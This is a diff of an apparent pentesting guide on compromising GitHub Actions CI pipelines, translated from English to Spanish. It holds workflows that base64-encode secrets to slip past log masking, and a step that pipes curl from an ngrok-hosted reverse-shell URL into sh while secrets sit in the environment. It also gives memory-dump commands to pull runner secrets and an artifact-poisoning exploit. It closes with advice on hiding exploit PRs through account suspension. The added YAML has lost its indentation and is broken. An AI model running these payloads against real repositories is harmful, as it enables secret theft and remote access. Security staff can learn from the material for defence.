+> Tenga en cuenta que en varias ocasiones podrá encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden otorgarle más privilegios sobre el repositorio y la organización.
-List secrets in Github Action output
-
+Listar secretos en la salida de Github Action
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+Obtener shell inverso con secretos
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+Es posible verificar los permisos otorgados a un Github Token en los repositorios de otros usuarios **revisando los registros** de las acciones:
-## Allowed Execution
+## Ejecución Permitida
> [!NOTE]
-> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+> Esta sería la forma más fácil de comprometer las acciones de Github, ya que este caso supone que tienes acceso para **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**.
>
-> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
+> Si te encuentras en este escenario, solo puedes revisar las [técnicas de Post Explotación](./#post-exploitation-techniques-from-inside-an-action).
-### Execution from Repo Creation
+### Ejecución desde la Creación de un Repositorio
-In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
+En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**.
-### Execution from a New Branch
+### Ejecución desde una Nueva Rama
-If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
-
-You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
+Si puedes **crear una nueva rama en un repositorio que ya contiene una Acción de Github** configurada, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa acción desde la nueva rama**. De esta manera, puedes **exfiltrar secretos a nivel de repositorio y organización** (pero necesitas saber cómo se llaman).
+Puedes hacer que la acción modificada sea ejecutable **manualmente**, cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser):
```yaml
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - master
- push: # Run it when a push is made to a branch
- branches:
- - current_branch_name
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- master
+push: # Run it when a push is made to a branch
+branches:
+- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
-
---
-## Forked Execution
+## Ejecución Forked
> [!NOTE]
-> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
+> Hay diferentes desencadenadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones desencadenables están mal configuradas, un atacante podría comprometerlas.
### `pull_request`
-The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
+El desencadenador del flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo:
> [!NOTE]
-> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
+> Dado que la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**.
>
-> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~
-Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Además, por defecto **previene permisos de escritura** y **acceso a secretos** en el repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
+> Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando un flujo de trabajo es desencadenado desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**.
-An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
+Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y agregar acciones arbitrarias. Sin embargo, no podrá robar secretos ni sobrescribir el repositorio debido a las limitaciones mencionadas.
> [!CAUTION]
-> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
+> **Sí, si el atacante cambia en la PR la github action que será desencadenada, su Github Action será la que se use y no la del repositorio de origen!**
-As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
+Como el atacante también controla el código que se ejecuta, incluso si no hay secretos o permisos de escritura en el `GITHUB_TOKEN`, un atacante podría, por ejemplo, **subir artefactos maliciosos**.
### **`pull_request_target`**
-The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
+El desencadenador del flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** en el repositorio objetivo y **acceso a secretos** (y no pide permiso).
-Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Ten en cuenta que el desencadenador del flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
+Puede parecer que como el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**.
-An this one will have **access to secrets**.
+Y este tendrá **acceso a secretos**.
### `workflow_run`
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
-
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
+El desencadenador [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite ejecutar un flujo de trabajo desde otro cuando está `completado`, `solicitado` o `en_progreso`.
+En este ejemplo, un flujo de trabajo está configurado para ejecutarse después de que se complete el flujo de trabajo separado "Ejecutar Pruebas":
```yaml
on:
- workflow_run:
- workflows: [Run Tests]
- types:
- - completed
+workflow_run:
+workflows: [Run Tests]
+types:
+- completed
```
+Además, según la documentación: El flujo de trabajo iniciado por el evento `workflow_run` puede **acceder a secretos y escribir tokens, incluso si el flujo de trabajo anterior no lo fue**.
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-
-This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
-The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
+Este tipo de flujo de trabajo podría ser atacado si **depende** de un **flujo de trabajo** que puede ser **activado** por un usuario externo a través de **`pull_request`** o **`pull_request_target`**. Un par de ejemplos vulnerables se pueden [**encontrar en este blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** El primero consiste en que el flujo de trabajo activado por **`workflow_run`** descarga el código del atacante: `${{ github.event.pull_request.head.sha }}`\
+El segundo consiste en **pasar** un **artifact** del código **no confiable** al flujo de trabajo **`workflow_run`** y usar el contenido de este artifact de una manera que lo haga **vulnerable a RCE**.
### `workflow_call`
TODO
-TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
+TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el de la fuente o el del PR bifurcado
-## Abusing Forked Execution
+## Abusando de la Ejecución Bifurcada
-We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
+Hemos mencionado todas las formas en que un atacante externo podría lograr que un flujo de trabajo de github se ejecute, ahora echemos un vistazo a cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas:
-### Untrusted checkout execution
+### Ejecución de checkout no confiable
-In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
+En el caso de **`pull_request`,** el flujo de trabajo se ejecutará en el **contexto del PR** (por lo que ejecutará el **código malicioso del PR**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitaciones](./#pull_request).
-In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
+En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflow_run`** que depende de un flujo de trabajo que puede ser activado desde **`pull_request_target` o `pull_request`**, se ejecutará el código del repositorio original, por lo que el **atacante no puede controlar el código ejecutado**.
> [!CAUTION]
-> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+> Sin embargo, si la **acción** tiene un **checkout de PR explícito** que **obtendrá el código del PR** (y no de la base), utilizará el código controlado por el atacante. Por ejemplo (ver línea 12 donde se descarga el código del PR):
-
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
+El código potencialmente **no confiable se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**.
> [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR).
-### Context Script Injections
+### Inyecciones de Script en Contexto
-Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+Tenga en cuenta que hay ciertos [**contextos de github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores son **controlados** por el **usuario** que crea el PR. Si la acción de github está utilizando esos **datos para ejecutar algo**, podría llevar a **ejecución de código arbitrario:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Script Injection**
+### **Inyección de Script GITHUB_ENV**
-From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
+De la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**.
-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+Si un atacante pudiera **inyectar cualquier valor** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**.
-For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
+Por ejemplo ([**esto**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**esto**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagina un flujo de trabajo que confía en un artifact subido para almacenar su contenido dentro de la variable de entorno **`GITHUB_ENV`**. Un atacante podría subir algo como esto para comprometerlo:
-### Vulnerable Third Party Github Actions
+### Acciones de Github de Terceros Vulnerables
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+Como se mencionó en [**esta publicación de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Acción de Github permite acceder a artifacts de diferentes flujos de trabajo e incluso repositorios.
-The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
-
-Example of vulnerable workflow:
+El problema es que si el parámetro **`path`** no está configurado, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser utilizados o incluso ejecutados más tarde en el flujo de trabajo. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros flujos de trabajo que confían en el Artifact.
+Ejemplo de flujo de trabajo vulnerable:
```yaml
on:
- workflow_run:
- workflows: ["some workflow"]
- types:
- - completed
+workflow_run:
+workflows: ["some workflow"]
+types:
+- completed
jobs:
- success:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v2
- - name: download artifact
- uses: dawidd6/action-download-artifact
- with:
- workflow: ${{ github.event.workflow_run.workflow_id }}
- name: artifact
- - run: python ./script.py
- with:
- name: artifact
- path: ./script.py
+success:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@v2
+- name: download artifact
+uses: dawidd6/action-download-artifact
+with:
+workflow: ${{ github.event.workflow_run.workflow_id }}
+name: artifact
+- run: python ./script.py
+with:
+name: artifact
+path: ./script.py
```
-
-This could be attacked with this workflow:
-
+Esto podría ser atacado con este flujo de trabajo:
```yaml
name: "some workflow"
on: pull_request
jobs:
- upload:
- runs-on: ubuntu-latest
- steps:
- - run: echo "print('exploited')" > ./script.py
- - uses actions/upload-artifact@v2
- with:
- name: artifact
- path: ./script.py
+upload:
+runs-on: ubuntu-latest
+steps:
+- run: echo "print('exploited')" > ./script.py
+- uses actions/upload-artifact@v2
+with:
+name: artifact
+path: ./script.py
```
-
---
-## Other External Access
+## Otro Acceso Externo
-### Deleted Namespace Repo Hijacking
+### Secuestro de Repositorio de Namespace Eliminado
-If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el que fue eliminado.
> [!CAUTION]
-> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
+> Así que si una acción está utilizando un repositorio de una cuenta que no existe, aún es posible que un atacante pueda crear esa cuenta y comprometer la acción.
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Si otros repositorios estaban utilizando **dependencias de estos repositorios de usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
-## Repo Pivoting
+## Pivotar Repositorio
> [!NOTE]
-> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
+> En esta sección hablaremos sobre técnicas que permitirían **pivotar de un repositorio a otro** suponiendo que tenemos algún tipo de acceso en el primero (ver la sección anterior).
-### Cache Poisoning
+### Envenenamiento de Caché
-A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+Se mantiene una caché entre **ejecuciones de flujo de trabajo en la misma rama**. Lo que significa que si un atacante **compromete** un **paquete** que luego se almacena en la caché y es **descargado** y ejecutado por un flujo de trabajo **más privilegiado**, podrá **comprometer** también ese flujo de trabajo.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
-### Artifact Poisoning
+### Envenenamiento de Artefactos
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+Los flujos de trabajo podrían usar **artefactos de otros flujos de trabajo e incluso repositorios**, si un atacante logra **comprometer** la Acción de Github que **sube un artefacto** que luego es utilizado por otro flujo de trabajo, podría **comprometer los otros flujos de trabajo**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
-## Post Exploitation from an Action
+## Post Explotación desde una Acción
-### Accessing AWS and GCP via OIDC
+### Accediendo a AWS y GCP a través de OIDC
-Check the following pages:
+Consulta las siguientes páginas:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
-### Accessing secrets
+### Accediendo a secretos
-If you are injecting content into a script it's interesting to know how you can access secrets:
+Si estás inyectando contenido en un script, es interesante saber cómo puedes acceder a secretos:
-- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+- Si el secreto o token está configurado como una **variable de entorno**, se puede acceder directamente a través del entorno usando **`printenv`**.
-List secrets in Github Action output
-
+Listar secretos en la salida de Github Action
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - '**'
- push: # Run it when a push is made to a branch
- branches:
- - '**'
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- '**'
+push: # Run it when a push is made to a branch
+branches:
+- '**'
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+Obtener shell inverso con secretos
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- - ```bash
- cat /home/runner/work/_temp/*
- ```
-- For a JavaScript actions the secrets and sent through environment variables
- - ```bash
- ps axe | grep node
- ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- Si el secreto se utiliza **directamente en una expresión**, el script de shell generado se almacena **en disco** y es accesible.
+- ```bash
+cat /home/runner/work/_temp/*
+```
+- Para las acciones de JavaScript, los secretos se envían a través de variables de entorno.
+- ```bash
+ps axe | grep node
+```
+- Para una **acción personalizada**, el riesgo puede variar dependiendo de cómo un programa esté utilizando el secreto que obtuvo del **argumento**:
- ```yaml
- uses: fakeaction/publish@v3
- with:
- key: ${{ secrets.PUBLISH_KEY }}
- ```
+```yaml
+uses: fakeaction/publish@v3
+with:
+key: ${{ secrets.PUBLISH_KEY }}
+```
-### Abusing Self-hosted runners
+### Abusando de los runners autoalojados
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no de github** es buscar **`runs-on: self-hosted`** en la configuración yaml de Github Action.
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
-
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+Los runners **autoalojados** pueden tener acceso a **información extra sensible**, a otros **sistemas de red** (¿puntos finales vulnerables en la red? ¿servicio de metadatos?) o, incluso si está aislado y destruido, **más de una acción podría ejecutarse al mismo tiempo** y la maliciosa podría **robar los secretos** de la otra.
+En los runners autoalojados también es posible obtener los **secretos del proceso \_Runner.Listener**\_\*\* que contendrá todos los secretos de los flujos de trabajo en cualquier paso al volcar su memoria:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
+Consulta [**esta publicación para más información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+### Registro de Imágenes Docker de Github
-### Github Docker Images Registry
-
-It's possible to make Github actions that will **build and store a Docker image inside Github**.\
-An example can be find in the following expandable:
+Es posible crear acciones de Github que **construyan y almacenen una imagen Docker dentro de Github**.\
+Un ejemplo se puede encontrar en el siguiente desplegable:
Github Action Build & Push Docker Image
-
```yaml
[...]
- name: Set up Docker Buildx
- uses: docker/setup-buildx-action@v1
+uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
- uses: docker/login-action@v1
- with:
- registry: ghcr.io
- username: ${{ github.repository_owner }}
- password: ${{ secrets.ACTIONS_TOKEN }}
+uses: docker/login-action@v1
+with:
+registry: ghcr.io
+username: ${{ github.repository_owner }}
+password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
- run: |
- sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
+run: |
+sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
- uses: docker/build-push-action@v2
- with:
- context: .
- push: true
- tags: |
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
+uses: docker/build-push-action@v2
+with:
+context: .
+push: true
+tags: |
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
-
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
-
-A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
+Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**.
+Un usuario con permisos de lectura sobre el repositorio podrá descargar la imagen de Docker utilizando un token de acceso personal:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Luego, el usuario podría buscar **secretos filtrados en las capas de la imagen de Docker:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
-### Sensitive info in Github Actions logs
+### Información sensible en los registros de Github Actions
-Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Incluso si **Github** intenta **detectar valores secretos** en los registros de acciones y **evitar mostrarlos**, **otros datos sensibles** que podrían haberse generado en la ejecución de la acción no estarán ocultos. Por ejemplo, un JWT firmado con un valor secreto no estará oculto a menos que esté [específicamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
-## Covering your Tracks
+## Cubriendo tus Huellas
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
+(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son automáticamente eliminados** y retirados de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación).
-An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
